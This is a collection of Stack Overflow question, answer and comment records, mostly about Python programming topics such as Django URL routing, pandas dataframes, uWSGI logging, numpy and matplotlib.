has body: I got an error,Page not found (404) when I put logout button in detail.html. I wrote in header.html WEB SITE SEE KNOW KNOW1 KNOW2 LOGOUT I wrote in views.py @login_required def logout_view(request): logout(request) return redirect('regist') @login_required def regist(request): return render(request, 'registration/regist.html') @login_required def see(request): return render(request, 'registration/see.html') @login_required def nowknow(request): return render(request, 'registration/nowknow.html') @login_required def pastknow(request): return render(request, 'registration/pastknow.html') @login_required def detail(request): return render(request, 'registration/detail.html') in urls.py urlpatterns = [ url(r'^product$', views.logout_view,name='logout_view'), url(r'^past_result$', views.see,name='see'), url(r'^privacy_policy$', views.nowknow,name='nowknow'), url(r'^privacy_policy$', views.pastknow,name='pastknow'), url(r'^detail$', views.detail,name='detail'), ] I wrote in index.html WEB SITE {% include '../header.html' %} HELLO WORLD When I acsess index.html and put LOGOUT link,logout is done accurately.But I wrote in detail.html DETAIL {% include '../header.html' %} HOGE and put LOGOUT link,the error happens.In this time,Request URL is http://localhost:8000/accounts/detail/logout_view.I really cannot understand why this error happens.I wrote 2 html same way,so I cannot know why one of html is ok but another causes the error.How should I fix this?
tagged with: python
score: -1
favorite count: 0
has comment: http://stackoverflow.com/comment/80815671
has answer: http://stackoverflow.com/a/46934338
has title: Page not found (404) error happens
upvote count: 0
type: UnansweredQuestion
answer count: 1
tagged with: django
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/80815461
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/q/46916839
answer count: 2
has answer: http://stackoverflow.com/a/46917040
has comment: http://stackoverflow.com/comment/80781096
tagged with: pandas
score: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/46917248
has answer: http://stackoverflow.com/a/46917248
has body: data = {'date': ['1998', '2002','1999','2001','1998','2002'], 'node1': [1,1,1,1,3,3], 'node2': [5,3,3,2,4,4], 'weight': [1,1,1,1,1,1], } df = pd.DataFrame(data, columns = ['date', 'node1','node2','weight']) Based on two date ranges(98-00 and 01-03) I want to get two separate dataframes(one for each date range) in which only those nodes are present which are present in both the range values. For eg- in the first row node2:5 is only present in the 98-00 range but not in the 01-03 range so we exclude all the rows with 5(can be in node1 or node2 column).Similarly in second row node1:2 it is only present in 01-02 date range so exclude all rows with value 2 in both the dataframes.) Expected Output: in one dataframe: node1 node2 date 1 3 1999 3 4 1998 2nd dataframe: node1 node2 date 1 3 2001 3 4 2002
tagged with: dataframe
tagged with: python
has title: Separting the rows based on elements in the two xolumns present in the timestamp
possible better answer: http://stackoverflow.com/a/46917040
tagged with: numpy
type: AnsweredQuestion

http://stackoverflow.com/comment/80770637
score: 0
comment on: http://stackoverflow.com/q/46911738
type: Comment
type: QuestionComment
has text: Also, consider adding some logging to `autoconfig.sh` and `AutoConfiguration.py` to confirm that everything is being called when you expect with the arguments you expect.

http://stackoverflow.com/q/46906896
score: 1
upvote count: 1
linked to: http://stackoverflow.com/q/28343262
answer count: 1
has title: Error when creating log file in uwsgi ini file using date
tagged with: flask
has comment: http://stackoverflow.com/comment/80887140
tagged with: uwsgi
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46970001
accepted answer: http://stackoverflow.com/a/46970001
tagged with: nginx
has body: I am trying to deploy my Flask app on Nginx using uWSGI. I used this tutorial to deploy my flask app. I have the following ini file: extractor.ini [uwsgi] module = wsgi:app master = true processes = 5 socket = extractor.sock chmod-socket = 660 vacuum = true log-date = @(exec://date +%%F-%%H-%%M) logdir = /home/rkok/extractor/logs/ daemonize = %(logdir)uwsgi-%(log-date).log die-on-term = true However when I try to start my project using sudo systemctl start extractor it shows the following error when I check the service status: uwsgi[31788]: /bin/sh: 1: date: not found I have read here that all 2.x versions should support @(exec://date +%%F-%%H-%%M). %%F-%%H-%%M should become YYYY-mm-dd-HH-MM format in the ini file. I the reactions it says that it could be my path, but I am unsure about how to check my path inside an ini file, as I am using a virtualenv instead of my system environment. My system setting: Ubuntu 16.04 LTS x64 Python 3.5.2 Virtualenv 15.1.0 uWSGI 2.0.15 Nginx 1.10.3 So my question is: How can I get uWSGI to generate a new log file using the system datetime inside the ini file? ps. My flask app deploys succesfully when I leave out the @(exec://date +%%F-%%H-%%M) part.
tagged with: python
has comment: http://stackoverflow.com/comment/80857472
tagged with: logfiles
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/comment/80929987
type: AnswerComment
comment on: http://stackoverflow.com/a/46981739
score: 0
type: Comment
has text: I may used wrong words to explain the issue. I did print the recived args by the python file and there were \r\n at the end of each interval limits. So the array has every period like 1000040\r\n. Any way to trim these? I think that will solve every thing

http://stackoverflow.com/q/47004508
has title: Getting indices of patterns found in a sequence using KNUTH-MORRIS-PRATT?
tagged with: python
has comment: http://stackoverflow.com/comment/80956022
has comment: http://stackoverflow.com/comment/80955677
tagged with: knuth-morris-pratt
type: AnsweredQuestion
upvote count: 0
has body: I am trying to find patterns in a sequence of integers. I have found the KNUTH-MORRIS-PRATT (KMP) in this link. I've fed the function a 'pattern' to find in a 'text.' But the output of the KMP function is an object. I need the indices for the instances of the pattern in the text. I tried checking out the attributes of the object by typing dot and pressing tab but nothing is there. How can I get the indices? Edit Code: &gt; # Knuth-Morris-Pratt string matching &gt; # David Eppstein, UC Irvine, 1 Mar 2002 &gt; &gt; from __future__ import generators &gt; &gt; def KnuthMorrisPratt(text, pattern): &gt; &gt; '''Yields all starting positions of copies of the pattern in the text. Calling conventions are similar to string.find, but its &gt; arguments can be lists or iterators, not just strings, it returns all &gt; matches, not just the first one, and it does not need the whole text &gt; in memory at once. Whenever it yields, it will have read the text &gt; exactly up to and including the match that caused the yield.''' &gt; &gt; # allow indexing into pattern and protect against change during yield &gt; pattern = list(pattern) &gt; &gt; # build table of shift amounts &gt; shifts = [1] * (len(pattern) + 1) &gt; shift = 1 &gt; for pos in range(len(pattern)): &gt; while shift &lt;= pos and pattern[pos] != pattern[pos-shift]: &gt; shift += shifts[pos-shift] &gt; shifts[pos+1] = shift &gt; &gt; # do the actual search &gt; startPos = 0 &gt; matchLen = 0 &gt; for c in text: &gt; while matchLen == len(pattern) or \ &gt; matchLen &gt;= 0 and pattern[matchLen] != c: &gt; startPos += shifts[matchLen] &gt; matchLen -= shifts[matchLen] &gt; matchLen += 1 &gt; if matchLen == len(pattern): &gt; yield startPos Sample Text: [1, 2, 2, 3, 3, 2, 4, 5, 2, 2, 3, 2] Sample Pattern: [2, 2, 3] Sample output: [1, 8]
has comment: http://stackoverflow.com/comment/80955554
accepted answer: http://stackoverflow.com/a/47004750
answer count: 1
downvote count: 1
favorite count: 0
tagged with: pattern-matching
score: -1
has answer: http://stackoverflow.com/a/47004750
type: Question
has comment: http://stackoverflow.com/comment/80956053

http://stackoverflow.com/a/46946085
score: 1
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80839459
has comment: http://stackoverflow.com/comment/80839626
has comment: http://stackoverflow.com/comment/80839417
has comment: http://stackoverflow.com/comment/80839592
has comment: http://stackoverflow.com/comment/80839646
has comment: http://stackoverflow.com/comment/80839536
answers question: http://stackoverflow.com/q/46945922
type: Answer
has body: Your mistake is that you are trying to access the parent key of the JSON from a child object. In the line item['results'][0]['geometry']['location']['lat'], item is one of objects in the results list, but you are treating it to be the root JSON dictionary. Using json_results['results'][0]... should solve the problem. Note: Often formatting the JSON correctly can reveal bugs in your code, always work with formatted documents when writing your parser, to make it easy.
has comment: http://stackoverflow.com/comment/80839348
has comment: http://stackoverflow.com/comment/80839475

http://stackoverflow.com/comment/80830416
type: Comment
has text: that looks very promising. I will give it a try as soon as time allows
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46912533

http://stackoverflow.com/a/47127221
upvote count: 1
score: 1
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81365670
has comment: http://stackoverflow.com/comment/81289869
has body: I have seen this happen in some circumstances if you activate a root environment as a non-root environment, where actual binaries become overwritten with symlinks (possibly pointing back to itself). The symptom you see resembles my issue, and is caused by the executable "conda" actually calling out to a subprocess for an executable "conda_install" for conda install (or similar for the others). For one reason or another, the way of calling the subprocess makes it fail silently if it cannot find the executable. To verify that you have the same problem, you can run ls -al /Users/me/anaconda2/bin and see if any of conda, activate, conda_install, conda_create etc is a dangling symlink or completely missing.
has comment: http://stackoverflow.com/comment/81296468
has comment: http://stackoverflow.com/comment/82028745
has comment: http://stackoverflow.com/comment/81315934
accepted answer of: http://stackoverflow.com/q/47040270
type: Answer
answers question: http://stackoverflow.com/q/47040270

postorder
type: Tag
tags question: http://stackoverflow.com/q/46964902
tag name: postorder

http://stackoverflow.com/comment/80796385
comment on: http://stackoverflow.com/q/46924486
type: QuestionComment
has text: Because your code working nice, so problem is in data.
score: 0
type: Comment

http://stackoverflow.com/comment/81011893
has text: You have misunderstood [mcve]. We do not want your secret data. A [mcve] is meant exactly for the purpose of not having to give someone the actual code or data and still let them reproduce the issue. The problem is that this issue is not reproducible. However in order to find a good solution one would first need to know how to obtain the undesired behaviour to see what causes it and then come up with a solution. So the usual way is to hardcode some data in the code, such that it is runnable and reproduces the issue.
score: 0
comment on: http://stackoverflow.com/q/47022755
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81070022
comment on: http://stackoverflow.com/q/47059817
type: Comment
type: QuestionComment
score: 0
has text: I disabled the firewall, and I still get the same error

http://stackoverflow.com/a/46939720
has body: There's format filter: {{ '%03d' | format(my_bandwitdth|int) }}
upvote count: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46938617
answers question: http://stackoverflow.com/q/46938617
score: 2
type: Answer

http://stackoverflow.com/comment/80968553
type: Comment
comment on: http://stackoverflow.com/a/47010813
type: AnswerComment
has text: should be small `f` in false so `'mrkdwn': false`
score: 0

http://stackoverflow.com/a/47028757
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/47028601
upvote count: 2
has body: Replace integer 0 or string '0', because astype(str) convert integers to strings: dff["values"] = dff["values"].replace(0," ") Or: dff["values"] = dff["values"].astype(str).replace('0'," ")
type: Answer

http://stackoverflow.com/q/47042051
has answer: http://stackoverflow.com/a/47042422
accepted answer: http://stackoverflow.com/a/47042422
answer count: 2
has answer: http://stackoverflow.com/a/47042272
possible better answer: http://stackoverflow.com/a/47042272
downvote count: 0
upvote count: 1
has body: I have two dataframes and need to update certain columns in the first with corresponding values in the second, and then change a column of dates to reflect that there was a change. today = datetime.datetime.today().date() df1 = pd.DataFrame([['alpha','foo','buzz','fox',datetime.date(2017,5,31),np.nan],['Beta','foo','flop','cat',datetime.date(2017,8,11),datetime.date(2017,9,19)], ['Gamma','bar','honk','sheep',datetime.date(2017,8,12),np.nan],['omega','bar','growl','dog',datetime.date(2017,2,23),datetime.date(2017,3,2)]], columns = ['type','col1','col2','enteredCol','CreationDate','lastUpdateDate']).set_index(['type']) print df1 col1 col2 enteredCol CreationDate lastUpdateDate type alpha foo buzz fox 2017-05-31 NaN Beta foo flop cat 2017-08-11 2017-09-19 Gamma bar honk sheep 2017-08-12 NaN omega bar growl dog 2017-02-23 2017-03-02 df2 = pd.DataFrame([['alpha','bar','buzz'],['Beta','foo','twist'],['Gamma','bar','honk']], columns = ['type','col1','col2']).set_index(['type']) print df2 col1 col2 type alpha bar buzz Beta foo twist Gamma bar honk Where col1 or col2 are different in df2, I need to update the corresponding values in df1. If a change is made, the lastUpdateDate needs to be set to today's date #run update on col1 and col2 - if updated, change lastUpdateDate to today's date print df_out col1 col2 enteredCol CreationDate lastUpdateDate type alpha bar buzz fox 2017-05-31 2017-10-31 Beta foo twist cat 2017-08-11 2017-10-31 Gamma bar honk sheep 2017-08-12 NaN omega bar growl dog 2017-02-23 2017-03-0 Thoughts on how I can do this? I could manually merge each of the changed columns and compare, but there are many columns I need to check. df.update() doesn't give a way to note that the values have been changed, or I could use that as well.
has title: pandas update on select columns and track change date
favorite count: 0
type: AnsweredQuestion
tagged with: pandas
score: 1
tagged with: python
type: Question

http://stackoverflow.com/comment/80792487
comment on: http://stackoverflow.com/q/46922610
score: 0
type: Comment
type: QuestionComment
has text: You can upvote and accept the questions you ask .

http://stackoverflow.com/comment/81066006
score: 4
type: Comment
type: QuestionComment
has text: Why do you want to have an argument in function definition which is unused ?
comment on: http://stackoverflow.com/q/47059273

http://stackoverflow.com/q/47031270
answer count: 1
downvote count: 0
tagged with: pytest-cov
favorite count: 0
type: Question
tagged with: coverage.py
has body: I have a file, test_basic.py: class TestCalculator(): def test_calculator(self): from basic import Basic basic_obj = Basic() sum_nums = basic_obj.add_num(1,2) diff_num = basic_obj.sub_num(3,5) prod_num = basic_obj.prod_num(5,5) quo_num = basic_obj.div_num(3,0) I have another file, basic.py: class Basic(): def __init__(self): print ('Basic initialized') def add_num(self, num1, num2): counter = 0 while (counter &lt; 5): counter = counter + 1 return (num1 + num2) def sub_num(self, num1, num2): return (num1 - num2) def prod_num(self, num1, num2): return (num1 * num2) def div_num(self, num1, num2): if not num2: return 0 return num1/num2 def lhospital(self, num1, num2): if num2 == 0: return 10000000 else: return num1/num2 To get the coverage, I run this command: py.test --cov-report xml --cov=test/lib test/lib/test_basic.py In coverage.xml, I have the coverage report and an example for line 6,7 in basic.py is: &lt;line branch="true" condition-coverage="100% (2/2)" hits="1" number="6"/&gt; &lt;line hits="1" number="7"/&gt; In basic.py, lines 6,7 are executed multiple times. Is there any way to change the .coveragerc file or maybe something else so that the number of hits for a line reflects multiple executions? Thanks!
tagged with: pytest
has answer: http://stackoverflow.com/a/47046816
score: 3
tagged with: python
has title: pytest coverage - number of hits of a line
upvote count: 3
type: UnansweredQuestion

http://stackoverflow.com/comment/81035987
score: 0
comment on: http://stackoverflow.com/q/47044278
type: Comment
type: QuestionComment
has text: https://stackoverflow.com/questions/45972684/get-a-list-of-overlapping-time-ranges-from-a-set-of-appointments/45973161#45973161

http://stackoverflow.com/a/46919585
has body: Change your code: @login_required() def user_account(request): user_albums = Album.objects.filter(user=request.user) nb_albums = user_albums.count() return render(request, 'music/user_account.html', {'nb_albums': nb_albums}) and for your template: {{ user }} {{ user.first_name }} {{ user.last_name }} {{ user.email }} {{ nb_albums }}
accepted answer of: http://stackoverflow.com/q/46919542
type: Answer
answers question: http://stackoverflow.com/q/46919542
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/q/46967387
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/46967443
has comment: http://stackoverflow.com/comment/80882103
accepted answer: http://stackoverflow.com/a/46967443
type: Question
has comment: http://stackoverflow.com/comment/80882365
answer count: 2
tagged with: python
possible better answer: http://stackoverflow.com/a/46967482
tagged with: dictionary
has body: Let's say I have a dictionary, d. d = {"x": 4, "r" : 9, "p" : 18, "v" : 20} and I have a variable, i. How do I find the key of the value that's closest to, but not more than, i? for example, if i is 5, the function would return "x", but if i is 19, the function would return "p". The only thing i can think of to start is to use a for loop.
has title: How do I find the key of a value in a dictionary that closest to, but not more than, a variable?
has answer: http://stackoverflow.com/a/46967482

http://stackoverflow.com/a/46998175
has body: You Have Not Checked The TensorFlow's Documentation: Using GPU
type: Answer
has comment: http://stackoverflow.com/comment/80967081
score: 0
answers question: http://stackoverflow.com/q/46996670

http://stackoverflow.com/q/46945360
tagged with: python
has answer: http://stackoverflow.com/a/46945378
accepted answer: http://stackoverflow.com/a/46945378
type: AnsweredQuestion
score: 0
has title: How to print out dictionary keys and values by the values lowest to highest and print them on a line
answer count: 1
has comment: http://stackoverflow.com/comment/80837893
type: Question
has body: I'll try and reexplain my question down here. I'm trying to create a program which will allow the user to input a players name and their jersey number which will put it into a dictionary. The next function will read the dictionary and print out Player Name: NAME, Jersey Number: NUMBER where name is the name in the dictionary and number is their corresponding jersey number. I can't figure out how to make it so that the names and corresponding jersey number are organized by the number. Here is what I have so far: def print_roster(team): team1=sorted(team.values()) for x in range(len(team)): print('Player Name: %s, Jersey Number: %d' % (NAME, team1[x]))
linked to: http://stackoverflow.com/q/613183

http://stackoverflow.com/q/46918966
has answer: http://stackoverflow.com/a/46919349
accepted answer: http://stackoverflow.com/a/46919137
upvote count: 1
tagged with: python
has title: python : How to get all the values from a list of a list excluding a certain value and then get the mean of each column?
has answer: http://stackoverflow.com/a/46919137
type: AnsweredQuestion
answer count: 2
score: 1
downvote count: 0
has body: I would be grateful if someone could help me to get the mean value of each column excluding number 6. So in the following example, I should get [2,6,4.5] because for the 1st column, when I exclude 6, mean is just (2/1)=2 for the second column,((3+9)/2)=6, for the 3rd column , ((4+5)/2)=4.5 Here is my code to get mean for each column, without excluding 6 def mean(x): return sum(x) / float(len(x)) x = [[2,3,4],[6,9,5]] b = map(mean, zip(*x)) print (b)
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/46919349

http://stackoverflow.com/a/69436443
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/133683485
type: Answer
answers question: http://stackoverflow.com/q/46994855
score: 2
has body: I know I'm a little late to answer this but I ran this in my Jupyter notebook for Python: !pip install yfinance and it worked correctly. (It also works in Google Colab.) Hope this helped!

http://stackoverflow.com/a/46940864
type: Answer
score: 0
answers question: http://stackoverflow.com/q/46940666
has body: Speeding up that one line would be challenging because it's already super optimized. I would first check if you can get less rows/data from the provider, as you mentioned. If you can process the data before, I would recommend to convert it to JSON before(even try different parsers, their performance changes for each dataset structure), than save just the data you need, and with this output call the pandas method. Here you can find some benchmark of json parsers, keep in mind that you should test on your data, this article is from 2015.

http://stackoverflow.com/comment/80950009
comment on: http://stackoverflow.com/a/47001359
type: Comment
score: 0
type: AnswerComment
has text: I watch your(csch's) question again carefully, I'm find that we can create 3d array at a once because we just have to count the number of all_time_series to define the shape of 3d numpy array. And we can copy all data to 3darray one by one.

http://stackoverflow.com/comment/81066924
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47059642
has text: do you need to keep order, or just order between the lists? do you need sorted sublists in timelags?

http://stackoverflow.com/comment/80947471
comment on: http://stackoverflow.com/q/46982173
has text: When printing the counter within the for-loops, the counter prints all the neighbours, and not the living neighbours as it should. Any tips to how only get the neighbouring cells that's alive, only? If it was unclear, in an empty board (5x5), the counter returns (for the first row): 35553
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81269153
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47011889
has text: @georgexsh since I don't know all features which sentry has, I can't distinguish between a feature request or a question.
score: 2

http://stackoverflow.com/comment/80867717
score: 2
has text: "The thing is that calling the constructor or init method to initialize these constants is not allowed." - who's not allowing it? Your teacher? Python allows it, but you'll have to create the constants once the class actually exists - it doesn't exist yet inside the class statement body.
comment on: http://stackoverflow.com/q/46960128
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47060280
tagged with: unique
accepted answer: http://stackoverflow.com/a/47060464
has title: Python: Get indices of common values in 3 sorted arrays
type: Question
has answer: http://stackoverflow.com/a/47060464
has comment: http://stackoverflow.com/comment/81068125
has answer: http://stackoverflow.com/a/47060489
has comment: http://stackoverflow.com/comment/81068483
possible better answer: http://stackoverflow.com/a/47060341
tagged with: python
has body: I have three sorted arrays: &gt;&gt;&gt; a = arange(10) &gt;&gt;&gt; b = arange(3,12) &gt;&gt;&gt; c = arange(-2,8) &gt;&gt;&gt; print(a) [0 1 2 3 4 5 6 7 8 9] &gt;&gt;&gt; print(b) [ 3 4 5 6 7 8 9 10 11] &gt;&gt;&gt; print(c) [-2 -1 0 1 2 3 4 5 6 7] I want to get a list of the indices of the elements of each array that are contained in all of the other arrays as well. In this example, it would be the indices in each array that correspond to the numbers 3 - 7 so something like: a_inds, b_inds, c_inds = get_unq_inds(a,b,c) a_inds = [3,4,5,6,7] (or [False, False, False, True, True, True, True, True, False, False]) b_inds = [0,1,2,3,4] (or [True, True, True, True, True, False, False, False, False]) etc Basically, I want to expand the solution provided here: (Find indices of common values in two arrays) to 3 arrays. (Or, if you're feeling ambitious, 'n' arrays)
has answer: http://stackoverflow.com/a/47060341
type: AnsweredQuestion
score: 0
tagged with: arrays
linked to: http://stackoverflow.com/q/32653441
answer count: 3
tagged with: sorting

http://stackoverflow.com/a/47083243
has comment: http://stackoverflow.com/comment/81116599
type: Answer
score: 0
answers question: http://stackoverflow.com/q/47062396
has comment: http://stackoverflow.com/comment/81145335
has comment: http://stackoverflow.com/comment/81127302
has body: Your errors are not related to URI scheme (http or https) but to files and socket use. When you are trying to open a file with: file = open(file_to_use[1:], "r") you are passing an illegal file path (http://ebay.com/ in your example). As you are working with URIs, you could use a parser like urlparse, so you can handle better the schema, hostname, etc... For example: url = urlparse(Req_path) file_to_use = url.hostname file = open(file_to_use, "r") and use only the hostname as a file name. Another problem is with the use of sockets. Function connect should receive hostname, not hostname with schema which is what you are doing. Again, with the help of the parser: serv_proxy.connect((url.hostname, 80)) Besides that, you do not call listen on a client (see examples), so you can remove that line. Finally, again to create the new file, use the hostname: tmpFile = open(file_to_use, "wb")

http://stackoverflow.com/comment/80980206
has text: Thanks a lot, it works ! You really saved my day. If anyone tries to replicate it, you just have to change feed_dict={"fname": file_name} to feed_dict={"fname:0": file_name}
type: Comment
comment on: http://stackoverflow.com/a/46994797
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81021203
has text: Another possible reason is that the IPython library has been installed somewhere where only root has read permission. I don't know how that would happen, but it's not impossible.
score: 0
comment on: http://stackoverflow.com/q/47037146
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46991833
upvote count: 19
has comment: http://stackoverflow.com/comment/80930305
has comment: http://stackoverflow.com/comment/80930381
has comment: http://stackoverflow.com/comment/80931089
has comment: http://stackoverflow.com/comment/80930480
accepted answer of: http://stackoverflow.com/q/46991783
has comment: http://stackoverflow.com/comment/80931036
downvote count: 1
type: Answer
has body: your data is a dict, you should convert it to json format like this: json.dumps(data) import json import requests f = requests.Session() headers = {'content-type': 'application/json'} my_data = { "from_date": "{}".format(from_date), "to_date": "{}".format(to_date), "Action": "Search" } get_data = f.post(URL, data=json.dumps(my_data), timeout=30, headers=headers, verify=False)
answers question: http://stackoverflow.com/q/46991783
has comment: http://stackoverflow.com/comment/80930590
has comment: http://stackoverflow.com/comment/80930422
type: AcceptedAnswer
score: 18

http://stackoverflow.com/q/46938138
has title: Scrapy extract table from website
score: 1
has body: I am a Python novice and am trying to write a script to extract the data from this page. Using scrapy, I wrote the following code: import scrapy class dairySpider(scrapy.Spider): name = "dairy_price" def start_requests(self): urls = [ 'http://www.dairy.com/market-prices/?page=quote&amp;sym=DAH15&amp;mode=i', ] for url in urls: yield scrapy.Request(url=url, callback=self.parse) def parse(self, response): for rows in response.xpath("//tr"): yield { 'text': rows.xpath(".//td/text()").extract().strip('. \n'), } However, this didn't scrape anything. Do you have any ideas ? Thanks
upvote count: 1
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/46938633
tagged with: web-scraping
tagged with: scrapy
favorite count: 0
type: Question
type: UnansweredQuestion
answer count: 1
downvote count: 0
tagged with: python

http://stackoverflow.com/q/46976114
has comment: http://stackoverflow.com/comment/80899755
downvote count: 5
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80899909
has comment: http://stackoverflow.com/comment/80899761
has comment: http://stackoverflow.com/comment/80899772
tagged with: python
upvote count: 0
has comment: http://stackoverflow.com/comment/80900151
score: -5
has title: How to insert a global variable into a local variable?
has comment: http://stackoverflow.com/comment/80899675
answer count: 1
has body: I'm a beginner, can someone explain why I can't import a into a function? import random a = random.randint(1,99) def frog(): frog = a (frog)
has comment: http://stackoverflow.com/comment/80899758
has comment: http://stackoverflow.com/comment/80899677
has comment: http://stackoverflow.com/comment/80899808
has answer: http://stackoverflow.com/a/46976359
favorite count: 0
type: Question

http://stackoverflow.com/comment/80855571
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46953656
score: 0
has text: @Jean-FrançoisFabre **7.21.9.2 The fseek function p3** _A binary stream need not meaningfully support fseek calls with a whence value of SEEK_END._ So In the case of binary stream, moving to `SEEK_END` does not necessarily represent the size of the file.

http://stackoverflow.com/a/46921130
answers question: http://stackoverflow.com/q/46921085
score: 1
type: Answer
has body: You can just use normal split function. test_str = "10-24-2017 10:09:18.218 - my_test - INFO - My Automation version 0.0.1" print(test_str.split(' - ')) Output: ['10-24-2017 10:09:18.218', 'my_test', 'INFO', 'My Automation version 0.0.1']
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/80764892
score: 0
has text: But the index is not accessible via df['date']?
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46909115

http://stackoverflow.com/a/46939353
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46939276
score: 1
has body: You're looking for Selenium if you want to automate the login flow. But, if you want to make a request to the site, start with the network monitor. Click login and grab the request that goes to the site. They would either send it as a form or a payload. Read more of the same at What's the difference between "Request Payload" vs "Form Data" as seen in Chrome dev tools Network tab
type: Answer
accepted answer of: http://stackoverflow.com/q/46939276
downvote count: 0

http://stackoverflow.com/comment/80959996
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47006617
type: Comment
has text: You should be passing column names in the list, not an index object

http://stackoverflow.com/comment/96153869
type: Comment
has text: Does anyone know how to map the results back to the dataframe for a multi-column groupby? I've posted a question here: https://stackoverflow.com/questions/54682524/dask-filter-dataframe-on-multi-column-groupby-size
comment on: http://stackoverflow.com/a/46927273
type: AnswerComment
score: 0

http://stackoverflow.com/comment/80836703
type: AnswerComment
has text: @mememan9001 Edit your question and post the full code you have right now
type: Comment
comment on: http://stackoverflow.com/a/46944476
score: 0

http://stackoverflow.com/q/46935299
linked to: http://stackoverflow.com/q/10354397
score: 2
type: AnsweredQuestion
has title: adjust matplotlib subplot spacing after tight_layout
downvote count: 0
tagged with: matplotlib
has answer: http://stackoverflow.com/a/46935622
accepted answer: http://stackoverflow.com/a/46935622
favorite count: 0
type: Question
upvote count: 2
answer count: 1
tagged with: python
has body: I would like to minimize white space in my figure. I have a row of sub plots where four plots share their y-axis and the last plot has a separate axis. There are no ylabels or ticklabels for the shared axis middle panels. tight_layout creates a lot of white space between the the middle plots as if leaving space for tick labels and ylabels but I would rather stretch the sub plots. Is this possible? import matplotlib.gridspec as gridspec import numpy as np import matplotlib.pyplot as plt import seaborn as sns fig = plt.figure() gs = gridspec.GridSpec(1, 5, width_ratios=[4,1,4,1,2]) ax = fig.add_subplot(gs[0]) axes = [ax] + [fig.add_subplot(gs[i], sharey=ax) for i in range(1, 4)] axes[0].plot(np.random.randint(0,100,100)) barlist=axes[1].bar([1,2],[1,20]) axes[2].plot(np.random.randint(0,100,100)) barlist=axes[3].bar([1,2],[1,20]) axes[0].set_ylabel('data') axes.append(fig.add_subplot(gs[4])) axes[4].plot(np.random.randint(0,5,100)) axes[4].set_ylabel('other data') for ax in axes[1:4]: plt.setp(ax.get_yticklabels(), visible=False) sns.despine(); plt.tight_layout(pad=0, w_pad=0, h_pad=0);

http://stackoverflow.com/a/46964897
score: 0
answers question: http://stackoverflow.com/q/46964831
type: Answer
has body: How to Parse &amp; Convert time formats in python: &gt;&gt;&gt; datetime(*strptime(s, "%Y-%m-%dT%H:%M:%S+0000")[0:6]).strftime("%B %d, %Y %I:%M %p") 'July 16, 2013 04:14 PM' read more about parsing &amp; converting process: https://docs.python.org/2/library/datetime.html

http://stackoverflow.com/a/78931289
has body: I created a folder named Linear Regrassion as visible in the file browser image copy path. Then uploaded the .csv files alongwith the jupyter file (.ipynb) into that folder. Following this, this code allows the file to be read. import os import pandas as pd train_file=os.path.abspath('Property_train (1).csv') test_file=os.path.abspath('Property_test_share (1).csv') ld_train=pd.read_csv(train_file) ld_test=pd.read_csv(test_file) Then type in the file name in the abspath() as argument. Just the file name, not the folder name. or copy path but then delete the folder name copy path. Works fine. Hope it helps.
type: Answer
has comment: http://stackoverflow.com/comment/139193188
answers question: http://stackoverflow.com/q/46972225
has comment: http://stackoverflow.com/comment/139167599
score: 0
has comment: http://stackoverflow.com/comment/139192140

bin
tag name: bin
type: Tag
tags question: http://stackoverflow.com/q/46994327

http://stackoverflow.com/a/46987434
score: 5
upvote count: 5
type: Answer
accepted answer of: http://stackoverflow.com/q/46987220
has body: One way to do it with empty and slice setting : import numpy as np fajita = np.empty(2) fajita[:] = [2, 2] Yet another way to do it with fill : fajita = np.empty(2) fajita.fill(2) Another solution would be to create the array directly with the values you want (I think this is what you should do, and that's one of the reasons why I didn't understand your question at first) : fajita = np.array([2,2])
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/46987220

http://stackoverflow.com/comment/80951623
has text: some sort of :)
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47001968

http://stackoverflow.com/q/47000655
accepted answer: http://stackoverflow.com/a/47089383
linked to: http://stackoverflow.com/q/6805311
has title: Syllabification of Devanagari
type: Question
tagged with: python-3.x
answer count: 2
score: 5
upvote count: 5
downvote count: 0
has answer: http://stackoverflow.com/a/47089383
has answer: http://stackoverflow.com/a/47123580
possible better answer: http://stackoverflow.com/a/47123580
has body: I am trying to syllabify devanagari words धर्मक्षेत्रे -> धर् मक् षेत् रे dharmakeshetre -> dhar mak shet re wd.split('्') I get the result as : ['धर', 'मक', 'षेत', 'रे'] Which is partially correct I try another word कुरुक्षेत्र -> कु रुक् षेत् रे kurukshetre -> ku ruk she tre ['कुरुक', 'षेत', 'रे'] The result is obviously wrong. How do I extract the syllables effectively?
tagged with: python
tagged with: devanagari
tagged with: string
has comment: http://stackoverflow.com/comment/94457985
tagged with: utf
favorite count: 0
type: AnsweredQuestion

http://stackoverflow.com/comment/80849402
type: QuestionComment
comment on: http://stackoverflow.com/q/46928104
has text: Do you mean `Invoke-VMScript` ?
type: Comment
score: 0

http://stackoverflow.com/comment/80927149
type: Comment
has text: The scripts remain the same.
